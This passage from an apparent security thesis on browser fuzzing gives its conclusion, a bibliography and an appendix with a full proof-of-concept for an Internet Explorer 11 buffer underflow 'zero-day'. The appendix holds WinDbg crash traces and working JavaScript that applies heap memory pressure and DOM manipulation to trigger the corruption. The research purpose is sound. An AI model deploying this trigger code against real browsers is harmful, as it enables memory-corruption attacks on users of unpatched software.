Chapter 6

Conclusion

In this thesis, we have presented a generation-based fuzzing framework to fuzz browser that supports multiple test case generator, able to scale on virtual machines and supports different browser on different operating systems. We have also proposed the idea of memory pressure bug and shows the method to discover and exploit the memory pressure bug on Internet Explorer. We have also presented the detailed crash analysis of 7 vulnerabilities and some other interesting crashes we have found during our research.

6.1 Future Work

Our fuzzing framework allows us to fuzz various browsers on various platform. This fuzzing framework may be extended to other software needs complex and structured input. Future development will be needed to extend it to other software. Our research on memory pressure bug shows that memory pressure bug exists in some of the most widely used software. The memory pressure bug may not be limited only web browsers. Other software that may utilize scripting engines like PDF readers may also vulnerable to memory pressure bug. Future research will be needed to find and exploit memory pressure vulnerabilities on other software

Appendix A

Full POC of an Internet Explorer Zero-Day

```
1  <!--
2  Author: Yu Haiwan
3  Email: HYU012@e.ntu.edu.sg
4
5  a buffer underflow crash founded in IE 11
6
7  the crash is tested on Windows 7 32 bit virtual box
   machine
8  updated to lastest patch on 25th Jan 2019
9  this is a memory pressure bug therefore it may not be
   able to reproduce everytime
10 Please reload the page if it does not work for the first
   time
11
12 this bug is due the the failed allocation here:
13 Breakpoint 2 hit
14 >>EAX IS NULL<<
15
16 eax=00000000 ebx=56c9d000 ecx=004b0000 edx=00000016 esi
   =00000310 edi=00000041
17 eip=5723bbd5 esp=0311b6e8 ebp=0311b6f0 iopl=0         nv
   up ei pl zr na pe nc
```

```

18 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
    efl=00000246
19 MSHTML!Layout::LineBoxBuilder::NewPtr+0x1e:
20 5723bbd5 e93f14a6ff      jmp      MSHTML!Layout::
    LineBoxBuilder::NewPtr+0x1e (56c9d019)
21 1:018> ub
22 MSHTML!CMarkup::NewTextPosInternal+0x4c:
23 5723bbb2 ff750c      push     dword ptr [ebp+0Ch]
24 5723bbb5 e88f8f2700    call    MSHTML!CTreeDataPos::
    DefineWhiteSpaceTypeFromText (574b4b49)
25 5723bbba e9f222a9ff      jmp      MSHTML!CMarkup::
    NewTextPosInternal+0x54 (56ccdeb1)
26 5723bbbf 814e2800000020 or        dword ptr [esi+28h
    ],20000000h
27 5723bbc6 ebb9          jmp      MSHTML!CMarkup::
    NewTextPosInternal+0x1f (5723bb81)
28 5723bbc8 8b0dd000d057  mov     ecx,dword ptr [MSHTML!
    g_hProcessHeap (57d000d0)]
29 5723bbce 8bd6          mov     edx,esi
30 5723bbd0 e8c8902700    call    MSHTML!MemoryProtection
    ::HeapAlloc<0> (574b4c9d) <===== ALLOCATION IS FAILED
    DUE TO OOM
31 1:018> k 10
32 # ChildEBP RetAddr
33 00 0311b6f0 56f4f534 MSHTML!Layout::LineBoxBuilder::
    NewPtr+0x1e
34 01 0311b710 56f4fa37 MSHTML!Ptls6::
    LsFillBreakRecordSubline+0xa7
35 02 0311b790 56eed6a3 MSHTML!Ptls6::
    LsCreateBreakRecordSublineFragment+0x2c4
36 03 0311b880 56d9a0d5 MSHTML!Ptls6::BreakLineOptimal+0xf1a
37 04 0311b8d8 56c9b179 MSHTML!Ptls6::LsBreakGeneralCase+0
    xd0
38 05 0311baf4 56ca7d98 MSHTML!Ptls6::LsCreateLineCore+0x4e8
39 06 0311bb24 56ca7915 MSHTML!Ptls6::LsCreateLine+0x2a
40 07 0311bd48 56ca8986 MSHTML!Layout::LineBoxBuilder::
    CreateLineWithLineServices+0x16b

```

```

41 08 0311bdc8 56ca8a52 MSHTML!Layout::LineBoxBuilder::
    CreateLineForFlow+0x2b0
42 09 0311c004 56c5168b MSHTML!Layout::FlowBoxBuilder::
    BuildLine+0x402
43 0a 0311c0f0 57084c1a MSHTML!Layout::FlowBoxBuilder::
    BuildBoxItem+0x89
44 0b 0311c10c 57084be5 MSHTML!Layout::LayoutBuilder::
    BuildBoxItem+0x2e
45 0c 0311c11c 572bd4db MSHTML!Layout::LayoutBuilder::Move+0
    x57
46 0d 0311c170 56c4bd2a MSHTML!Layout::LayoutBuilderDriver::
    BuildPageLayout+0x12f
47 0e 0311c234 572324a4 MSHTML!Layout::PageCollection::
    FormatPage+0x167
48 0f 0311c33c 56c49503 MSHTML!Layout::PageCollection::
    LayoutPagesCore+0x2c3
49
50
51
52
53 Breakpoint 1 hit
54 eax=00000250 ebx=00000094 ecx=0000018c edx=027ce000 esi
    =00000000 edi=027cdaf4
55 eip=637312a3 esp=026fa384 ebp=026fa3a0 iopl=0          nv
    up ei pl zr na pe nc
56 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
    efl=00000246
57 MSHTML!CImplAry::EnsureSizeWorker+0x49:
58 637312a3 e89d422700      call     MSHTML!MemoryProtection
    ::HeapReAlloc<1> (639a5545)
59 1:019> p
60 >>TAKE NOTE OF EAX HERE(1)<<
61
62 eax=02754b00 ebx=00000094 ecx=916bca71 edx=026fa378 esi
    =00000000 edi=027cdaf4
63 eip=637312a8 esp=026fa388 ebp=026fa3a0 iopl=0          nv
    up ei pl zr na pe nc

```

```

64 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
    efl=00000246
65 MSHTML!CImplAry::EnsureSizeWorker+0x4e:
66 637312a8 85c0                test     eax,eax
67 1:019> g
68 Invalid parameter passed to C runtime function.
69 (d64.8e0): Access violation - code c0000005 (first chance
    )
70 First chance exceptions are reported before any exception
    handling.
71 This exception may be expected and handled.
72      >>ECX IS -1 HERE<<
73
74 eax=00000000 ebx=00000001 ecx=ffffffff edx=02732860 esi
    =02732800 edi=02714818
75 eip=6343fc99 esp=026fb8f8 ebp=026fb968 iopl=0             nv
    up ei pl nz ac pe nc
76 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000
    efl=00010216
77 MSHTML!Layout::LineBox::AllocateAndInstantiateLineBox+0
    x8cf:
78 6343fc99 ff4004                inc     dword ptr [eax+4]      ds
    :0023:00000004=????????
79 1:019> ub
80 MSHTML!Layout::LineBox::AllocateAndInstantiateLineBox+0
    x8b8:
81 6343fc82 43                inc     ebx
82 6343fc83 8345e00c          add     dword ptr [ebp-20h],0Ch
83 6343fc87 8b7df8           mov     edi,dword ptr [ebp-8]
84 6343fc8a 895dec           mov     dword ptr [ebp-14h],ebx
85 6343fc8d 8b460c           mov     eax,dword ptr [esi+0Ch]
86 6343fc90 8b55e8           mov     edx,dword ptr [ebp-18h]
87 6343fc93 8b403c           mov     eax,dword ptr [eax+3Ch]
88 6343fc96 8b0488           mov     eax,dword ptr [eax+ecx
    *4]  <=====BUFFER UNDERFLOW
89 1:019> dds esi+0c l1
90 0273280c 027cdac0
91 1:019> dds 027cdac0+3c l1

```

```

92 027cdafc 02754b00
93 1:019> dds 02754b00-4
94 02754afc 00000000 <=====BUFFER UNDERFLOW
95 02754b00 02722740 <=====EAX POINTED TO HERE (1)
    IT IS ALLOCATED IN MSHTML!CImplAry::EnsureSizeWorker
96 02754b04 02722760
97 02754b08 02722780
98 02754b0c 027227a0
99 02754b10 027227e0
100 02754b14 02722820
101 02754b18 02722840
102 02754b1c 02722860
103 02754b20 02722880
104 02754b24 027228a0
105 02754b28 027228c0
106 02754b2c 027228e0
107 02754b30 02722900
108 02754b34 02722920
109 02754b38 02722940
110 02754b3c 02722960
111 02754b40 02722980
112 02754b44 027229a0
113 02754b48 027229c0
114 02754b4c 027229e0
115 02754b50 02722a00
116 02754b54 02722a20
117 02754b58 02722a40
118 02754b5c 02722a60
119 02754b60 02722a80
120 02754b64 02722aa0
121 02754b68 02722ac0
122 02754b6c 02722ae0
123 02754b70 02722b00
124 02754b74 02722b20
125 02754b78 02722b40
126 1:019> lm vm mshtml
127 Browse full module list
128 start      end          module name

```

```

129 63070000 644d1000 MSHTML (pdb symbols) c:\
    symbols\mshtml.pdb\0CC75594FFF449E79A08C802CEE5423C2\
    mshtml.pdb
130 Loaded symbol image file: C:\Windows\system32\MSHTML.
    dll
131 Image path: C:\Windows\system32\MSHTML.dll
132 Image name: MSHTML.dll
133 Browse all global symbols functions data
134 Timestamp: Fri Jan 25 16:26:41 2019 (5C4BA941)
135 CheckSum: 0135B4C9
136 ImageSize: 01461000
137 File version: 11.0.9600.19267
138 Product version: 11.0.9600.19267
139 File flags: 0 (Mask 3F)
140 File OS: 40004 NT Win32
141 File type: 2.0 Dll
142 File date: 00000000.00000000
143 Translations: 0409.04b0
144 Information from resource tables:
145     CompanyName: Microsoft Corporation
146     ProductName: Internet Explorer
147     InternalName: MSHTML
148     OriginalFilename: MSHTML.DLL
149     ProductVersion: 11.00.9600.19267
150     FileVersion: 11.00.9600.19267 (
    winblue_ltsb_escrow.190125-1255)
151     FileDescription: Microsoft (R) HTML Viewer
152     LegalCopyright: Microsoft Corporation. All
    rights reserved.
153
154 -->
155 <meta http-equiv="X-UA-Compatible" content="IE=8">
156 <script>
157
158 //=====Memory pressure
    for msvcrt!_crtheap object (jscript9 arraybuffer)
    =====

```

```
159 var memory_pressure_array_holder = [];
160 var memory_pressure_index = 0;
161 var MAX_ARRAYBUFFER_SIZE = 0x20000000;
162
163 function jscript9_mark(position,byte){
164     for (var i = 0 ; i < memory_pressure_index; i++) {
165         dataview = new DataView(memory_pressure_array_holder[
166             i]);
167         dataview.setInt8(position, byte);
168     }
169 }
170
171 function jscript9_pressure(desired_pressure_size){
172     pressure_size = MAX_ARRAYBUFFER_SIZE;
173     while (pressure_size > desired_pressure_size) {
174         try{
175             memory_pressure_array_holder[memory_pressure_index]
176             = new ArrayBuffer(pressure_size);
177             memory_pressure_index++;
178         }catch(e){
179             pressure_size = pressure_size/2;
180         }
181     }
182 }
183
184 crt_heap_place_holder_array = []
185 crt_heap_place_holder_array_counter = 0
186 crt_heap_wall_array = []
187 crt_heap_wall_array_counter = 0
188
189 function crt_heap_make_place_holder(num,size){
190     crt_heap_wall_array[crt_heap_wall_array_counter] = new
191     ArrayBuffer(size);
192     crt_heap_wall_array_counter++;
193     for (var i = 0; i < num; i++) {
194         crt_heap_place_holder_array[
195             crt_heap_place_holder_array_counter] = new ArrayBuffer
196             (size);
```



```
192     crt_heap_place_holder_array_counter++;
193     crt_heap_wall_array[crt_heap_wall_array_counter] =
    new ArrayBuffer(size);
194     crt_heap_wall_array_counter++;
195 }
196 }
197
198 function crt_heap_free_place_holder(){
199     crt_heap_place_holder_array = null;
200     CollectGarbage();
201 }
202
203 function crt_heap_mark_place_holder(position,byte){
204     for (var i = 0 ; i <
        crt_heap_place_holder_array_counter; i++) {
205         dataview = new DataView(crt_heap_place_holder_array[i
        ]);
206         dataview.setInt8(position, byte);
207     }
208 }
209
210
211 //
    =====
212
213
214
215 function dword2data(dword) {
216     var d = Number(dword).toString(16);
217     while (d.length < 8)
218         d = '0' + d;
219     return unescape('%u' + d.substr(4, 8) + '%u' + d.
        substr(0, 4));
220 }
221
222
223 var memory_pressure_object_holder = [];
```

```
224 var memory_pressure_object_counter = 0;
225 var memory_pressure_default_string = "A";
226 var memory_pressure_max_string_size = 0x8000000
227 while(memory_pressure_default_string.length<
    memory_pressure_max_string_size){
228     memory_pressure_default_string +=
    memory_pressure_default_string ;
229 }
230 memory_pressure_default_string = "BBBB" +
    memory_pressure_default_string
231
232 function process_heap_try_pressure(num){
233     for (var i = 0; i < num; i++) {
234         memory_pressure_object_holder[
    memory_pressure_object_counter] = document.
    createElement('div');
235         memory_pressure_object_holder[
    memory_pressure_object_counter].className =
    memory_pressure_default_string.substring(0,
    memory_pressure_default_string.length)
236         memory_pressure_object_counter++;
237     }
238 }
239
240
241 function process_heap_pressure(desired_pressure_size){
242     //the minimum desired pressure size can be 100,
    smaller than that will cause failure
243     pressure_size = memory_pressure_max_string_size;
244     while (pressure_size > desired_pressure_size) {
245         try{
246             memory_pressure_object_holder[
    memory_pressure_object_counter] = document.
    createElement('div');
247             memory_pressure_object_holder[
    memory_pressure_object_counter].className =
    memory_pressure_default_string.substring(0,
    pressure_size)
```

```
248     memory_pressure_object_counter++;
249   }catch(e){
250     pressure_size = pressure_size/2;
251   }
252 }
253 }
254
255 function dbgbreak(){
256   document.getElementById(1) // CMarkup::GetElementById
     mshtml+0040e199 mshtml+001e776a
257 }
258
259 process_heap_place_holder_array = []
260 process_heap_place_holder_array_counter = 0
261 process_heap_wall_array = []
262 process_heap_wall_array_counter = 0
263
264 process_heap_place_holder_string = "CCCC" +
     memory_pressure_default_string
265 process_heap_wall_string = "DDDD" +
     memory_pressure_default_string
266
267 function process_heap_make_place_holder(num,size){
268   process_heap_wall_array[process_heap_wall_array_counter
269   ] = document.createElement('div');
270   process_heap_wall_array[process_heap_wall_array_counter
271   ].className = process_heap_wall_string.substring(0,
272   size/2)
273   process_heap_wall_array_counter++;
274   for (var i = 0; i < num; i++) {
275     process_heap_place_holder_array[
276     process_heap_place_holder_array_counter] = document.
277     createElement('div');
278     process_heap_place_holder_array[
279     process_heap_place_holder_array_counter].className =
280     process_heap_place_holder_string.substring(0,size/2)
281     process_heap_place_holder_array_counter++;
282   }
```

```
275     process_heap_wall_array[
276     process_heap_wall_array_counter] = document.
277     createElement('div');
278 }
279 }
280
281
282 function process_heap_free_place_holder(){
283     for (var i = 0 ; i <
284         process_heap_place_holder_array_counter; i++) {
285         process_heap_place_holder_array[i].className = null;
286     }
287     CollectGarbage();
288 }
289 //break at ntdll!RtlAllocateHeap to check out all the
290 //    allocation needed to reach the allocation failure point
291 //=====
292
293 function make_place_holder_for_process_heap(){
294     process_heap_make_place_holder(1,0x12c8)
295 }
296
297 function make_place_holder_for_crt_heap(){
298     crt_heap_make_place_holder(1,0x214)
299 }
300
301 function make_place_holder_for_this(){
302     make_place_holder_for_crt_heap();
303     make_place_holder_for_process_heap();
304 }
305
306 function free_place_holder(){
307     crt_heap_free_place_holder();
```

```
305     process_heap_free_place_holder();
306 }
307
308 var n = 0x31c; //31c is the num that change the allocation
           from large to medium
309 var string = "<h4></h4>"
310
311
312 function trigger(){
313     CollectGarbage();
314     process_heap_pressure(n*2);
315     CollectGarbage();
316     process_heap_pressure(n*2);
317     CollectGarbage();
318     process_heap_pressure(n*2);
319     CollectGarbage();
320     process_heap_pressure(n*2);
321     CollectGarbage();
322     process_heap_pressure(n*2);
323     CollectGarbage();
324     process_heap_pressure(n*2);
325     CollectGarbage();
326     process_heap_pressure(n*2);
327     var element = document.getElementById(1)
328     element.appendChild(document.createElement("shadow"))
329 }
330 function main(){
331     for (i = 0; i < n; i ++){
332         string = string + "<shadow>";
333     }
334     string = string + "<shadow id = 1>"
335     string = string + "<svg></svg><video>"
336     document.body.innerHTML = string;
337     setTimeout(trigger,1000)
338 }
339
340 </script>
341 </head>
```

```
342 <body id = "0" onload='main();'>  
343 </body>
```

LISTING A.1: POC of an Internet Explorer Zero-Day

Bibliography

- [1] Zakir Durumeric, Frank Li, James Kasten, Johanna Amann, Jethro Beekman, Mathias Payer, Nicolas Weaver, David Adrian, Vern Paxson, Michael Bailey, et al. The matter of heartbleed. In *Proceedings of the 2014 conference on internet measurement conference*, pages 475–488. ACM, 2014. [1](#), [9](#)
- [2] Savita Mohurle and Manisha Patil. A brief study of wannacry threat: Ransomware attack 2017. *International Journal of Advanced Research in Computer Science*, 8(5), 2017. [1](#)
- [3] Gordon Darroch. Singhealth cyber attack: How it unfolded. *The Straits Times*. URL <https://graphics.straitstimes.com/STI/STIMEDIA/Interactives/2018/07/sg-cyber-breach/index.html>. [1](#)
- [4] Aleph One. Smashing the stack for fun and profit. *Phrack magazine*, 7(49): 14–16, 1996. [2](#)
- [5] Bob Page. A report on the internet worm. URL <https://www.ee.ryerson.ca/~elf/hack/iworm.html>.
- [6] Nicholas Weaver and Dan Ellis. Reflections on witty: Analyzing the attacker.; login. *June*, 7:34–37, 2004. [2](#)
- [7] Crispian Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, Qian Zhang, and Heather Hinton. Stackguard: Automatic adaptive detection and prevention of buffer-overflow attacks. In *USENIX Security Symposium*, volume 98, pages 63–78. San Antonio, TX, 1998. [2](#), [6](#)
- [8] PaX Team. Pax address space layout randomization (aslr). 2003. [2](#), [7](#)

- [9] Derek Bruening and Qin Zhao. Practical memory checking with dr. memory. In *Proceedings of the 9th Annual IEEE/ACM International Symposium on Code Generation and Optimization*, pages 213–223. IEEE Computer Society, 2011. [4](#)
- [10] Nicholas Nethercote and Julian Seward. Valgrind: a framework for heavyweight dynamic binary instrumentation. In *ACM Sigplan notices*, volume 42, pages 89–100. ACM, 2007. [4](#), [15](#)
- [11] Konstantin Serebryany, Derek Bruenin, Alexander Potapenko, and Dmitry Vyukov. Addresssanitizer: A fast address sanity checker. 2012. [4](#), [15](#), [38](#), [51](#), [53](#)
- [12] Michael Engstler. Cy-2017-021: Type confusion in edge/internet explorer, 2017. URL <https://cybellum.com/vulnerability-analysis-type-confusion-edge-ie/>. [5](#)
- [13] Ryan Roemer, Erik Buchanan, Hovav Shacham, and Stefan Savage. Return-oriented programming: Systems, languages, and applications. *ACM Transactions on Information and System Security (TISSEC)*, 15(1):2, 2012. [7](#), [10](#)
- [14] Erik Buchanan, Ryan Roemer, Hovav Shacham, and Stefan Savage. When good instructions go bad: Generalizing return-oriented programming to risc. In *Proceedings of the 15th ACM conference on Computer and communications security*, pages 27–38. ACM, 2008.
- [15] Stephen Checkoway, Lucas Davi, Alexandra Dmitrienko, Ahmad-Reza Sadeghi, Hovav Shacham, and Marcel Winandy. Return-oriented programming without returns. In *Proceedings of the 17th ACM conference on Computer and communications security*, pages 559–572. ACM, 2010. [7](#)
- [16] Hovav Shacham et al. The geometry of innocent flesh on the bone: return-into-libc without function calls (on the x86). In *ACM conference on Computer and communications security*, pages 552–561. New York,, 2007. [7](#)
- [17] Fermin J Serna. The info leak era on software exploitation. *Black Hat USA*, 2012. [7](#)

- [18] Martín Abadi, Mihai Budiu, Úlfar Erlingsson, and Jay Ligatti. Control-flow integrity principles, implementations, and applications. *ACM Transactions on Information and System Security (TISSEC)*, 13(1):4, 2009. 8
- [19] Microsoft. Control flow guard. URL <https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard>. 8
- [20] Felix Schuster, Thomas Tendyck, Christopher Liebchen, Lucas Davi, Ahmad-Reza Sadeghi, and Thorsten Holz. Counterfeit object-oriented programming: On the difficulty of preventing code reuse attacks in c++ applications. In *2015 IEEE Symposium on Security and Privacy*, pages 745–762. IEEE, 2015. 8
- [21] Chris Valasek. Understanding the low fragmentation heap. *Black Hat USA*, 2010. 11
- [22] Mark Daniel, Jake Honoroff, and Charlie Miller. Engineering heap overflow exploits with javascript. *WOOT*, 8:1–6, 2008. 11, 20
- [23] Alexander Sotirov. Heap feng shui in javascript. *Black Hat Europe*, 2007, 2007. 11, 20
- [24] Brian Chess and Gary McGraw. Static analysis for security. *IEEE security & privacy*, 2(6):76–79, 2004. 12
- [25] David Evans and David Larochelle. Improving security using extensible lightweight static analysis. *IEEE software*, 19(1):42–51, 2002.
- [26] Gerard Holzmann. Static source code checking for user-defined properties. In *Proc. IDPT*, volume 2, 2002.
- [27] David A Wagner, Jeffrey S Foster, Eric A Brewer, and Alexander Aiken. A first step towards automated detection of buffer overrun vulnerabilities. In *NDSS*, pages 2000–02, 2000. 12
- [28] Michael Sutton, Adam Greene, and Pedram Amini. *Fuzzing: brute force vulnerability discovery*. Pearson Education, 2007. 12, 14
- [29] James C King. Symbolic execution and program testing. *Communications of the ACM*, 19(7):385–394, 1976. 12, 13

- [30] Misha Zitser, Richard Lippmann, and Tim Leek. Testing static analysis tools using exploitable buffer overflows from open source code. In *ACM SIGSOFT Software Engineering Notes*, volume 29, pages 97–106. ACM, 2004. [13](#)
- [31] Brittany Johnson, Yoonki Song, Emerson Murphy-Hill, and Robert Bowdidge. Why don't software developers use static analysis tools to find bugs? In *Proceedings of the 2013 International Conference on Software Engineering*, pages 672–681. IEEE Press, 2013. [13](#)
- [32] Alexander Ivanov Sotirov. *Automatic vulnerability detection using static source code analysis*. PhD thesis, Citeseer, 2005. [13](#)
- [33] Yunhui Zheng and Xiangyu Zhang. Path sensitive static analysis of web applications for remote code execution vulnerability detection. In *2013 35th International Conference on Software Engineering (ICSE)*, pages 652–661. IEEE, 2013. [13](#)
- [34] Insu Yun, Sangho Lee, Meng Xu, Yeongjin Jang, and Taesoo Kim. {QSYM}: A practical concolic execution engine tailored for hybrid fuzzing. In *27th {USENIX} Security Symposium ({USENIX} Security 18)*, pages 745–761, 2018. [14](#)
- [35] Michal Zalewski. american fuzzy lop, 2013. URL <http://lcamtuf.coredump.cx/afl/>. [14](#), [28](#)
- [36] Power in pairs, 2014. URL <https://www.blackhat.com/docs/eu-14/materials/eu-14-Lu-The-Power-Of-Pair-One-Template-That-Reveals-100-plus-UAF-IE-Vulnerabilities.pdf>. [14](#), [24](#), [29](#), [33](#), [35](#)
- [37] Ivan Fratric. The great dom fuzz-off of 2017, 2017. URL <https://googleprojectzero.blogspot.com/2017/09/the-great-dom-fuzz-off-of-2017.html>. [14](#), [19](#), [24](#), [29](#), [30](#), [34](#), [36](#)
- [38] Yuseok Jeon, Priyam Biswas, Scott Carr, Byoungyoung Lee, and Mathias Payer. Hextype: Efficient detection of type confusion errors for c++. In *Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications Security*, pages 2373–2387. ACM, 2017. [15](#)
- [39] Tim Berners-Lee, Dimitri Dimitroyannis, A John Mallinckrodt, and Susan McKay. World wide web. *Computers in Physics*, 8(3):298–299, 1994. [17](#)

- [40] SIMON KEMP. Digital in 2018: World's internet users pass the 4 billion mark, 2018. URL <https://wearesocial.com/blog/2018/01/global-digital-report-2018>. 17
- [41] The chromium (google chrome) open source project on open hub: Languages page, 2019. URL https://www.openhub.net/p/chrome/analyses/latest/languages_summary. 17, 24
- [42] Jani Tarvainen. The increasing complexity of web technologies could open a can of security worms in web applications, 2018. URL <https://malloc.fi/web-technology-complexity-security-can-of-worms-in-applications>. 17
- [43] Tali Garsiel and Paul Irish. How browsers work: Behind the scenes of modern web browsers, 2011. URL <https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/>. 18
- [44] Texcel Research Jonathan Robie. What is the document object model? URL <https://www.w3.org/TR/WD-DOM/introduction.html>. 18
- [45] Zalewski. Announcing crossfuzz, a potential 0-day in circulation, and more, 2011. URL <https://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html>. 19
- [46] Christian Holler, Kim Herzig, and Andreas Zeller. Fuzzing with code fragments. In *Presented as part of the 21st {USENIX} Security Symposium ({USENIX} Security 12)*, pages 445–458, 2012. 20
- [47] Prateek Saxena, Devdatta Akhawe, Steve Hanna, Feng Mao, Stephen McCamant, and Dawn Song. A symbolic execution framework for javascript. In *2010 IEEE Symposium on Security and Privacy*, pages 513–528. IEEE, 2010.
- [48] Junjie Wang, Bihuan Chen, Lei Wei, and Yang Liu. Skyfire: Data-driven seed generation for fuzzing. In *2017 IEEE Symposium on Security and Privacy (SP)*, pages 579–594. IEEE, 2017.

- [49] Jesse Ruderman. Introducing jsfunfuzz. URL [http://www. squarefree. com/2007/08/02/introducing-jsfunfuzz](http://www.squarefree.com/2007/08/02/introducing-jsfunfuzz), 2007. 20, 25, 29
- [50] Satnam Narang. Use-after-free vulnerability in google chrome exploited in the wild (cve-2019-5786), 2019. URL <https://www.tenable.com/blog/use-after-free-vulnerability-in-google-chrome-exploited-in-the-wild-cve-2019-5786>. 22, 34
- [51] Trend Micro. Use-after-free (uaf) vulnerability cve-2018-8373 in vbscript engine affects internet explorer to run shellcode, 2018. URL <https://blog.trendmicro.com/trendlabs-security-intelligence/use-after-free-uaf-vulnerability-cve-2018-8373-in-vbscript-engine-affects-internet-explorer-to-run-shellcode/>.
- [52] SophosLabs Offensive Security. Cve-2018-18500: write-after-free vulnerability in firefox, analysis and exploitation, 2019. URL <https://news.sophos.com/en-us/2019/04/18/protected-cve-2018-18500-heap-write-after-free-in-firefox-analysis-and-exploitation/>. 22, 34
- [53] Robert Gawlik and Thorsten Holz. Sok: Make jit-spray great again. In *12th {USENIX} Workshop on Offensive Technologies ({WOOT} 18)*, 2018. 23
- [54] Henry Li and Jack Tang. Cross the wall-bypass all modern mitigations of microsoft edge. Black hat Asia 2017, 2017. URL <https://www.blackhat.com/docs/asia-17/materials/asia-17-Li-Cross-The-Wall-Bypass-All-Modern-Mitigations-Of-Microsoft-Edge.pdf>. 23
- [55] Mark Vincent Yason. Understanding the attack surface and attack resilience of project spartan’s (edge) new edgehtml rendering engine, 2015. 23, 35
- [56] CVE Details. Vulnerability statistics of internet explorer. URL https://www.cvedetails.com/product/9900/Microsoft-Internet-Explorer.html?vendor_id=26. 24
- [57] Alexandre Rebert, Sang Kil Cha, Thanassis Avgerinos, Jonathan Foote, David Warren, Gustavo Grieco, and David Brumley. Optimizing seed selection for fuzzing. In *23rd {USENIX} Security Symposium ({USENIX} Security 14)*, pages 861–875, 2014. 28

- [58] Charlie Miller. Fuzz by number. In *CanSecWest Conference*, 2008. 28
- [59] Charlie Miller, Zachary NJ Peterson, et al. Analysis of mutation and generation-based fuzzing. 2007. 29
- [60] dottoro web reference. URL <http://help.dottoro.com/>. 35
- [61] Mdn web docs. URL <https://developer.mozilla.org/en-US/>. 37
- [62] Use-after-free in typeobject, 2014. URL <https://www.mozilla.org/en-US/security/advisories/mfsa2014-30/>. 47
- [63] From out of memory to remote code execution, 2013. URL https://www.cvedetails.com/product/9900/Microsoft-Internet-Explorer.html?vendor_id=26. 47
- [64] Vijay Janapa Reddi, Alex Settle, Daniel A. Connors, and Robert S Cohn. Pin: A binary instrumentation tool for computer architecture research and education. *WCAE '04 Proceedings of the 2004 workshop on Computer architecture education: held in conjunction with the 31st International Symposium on Computer Architecture*, 2004. 51
- [65] Chi-Keung Luk, Robert Cohn, Robert Muth, Harish Patil, Artur Klauser, Geoff Lowney, Steven Wallace, Vijay Janapa Reddi, and Kim Hazelwood. Pin: Building customized program analysis tools with dynamic instrumentation. 2005. 51
- [66] Chris Lattner and Vikram Adve. Llvm : A compilation framework for lifelong program analysis & transformation. 2004. 53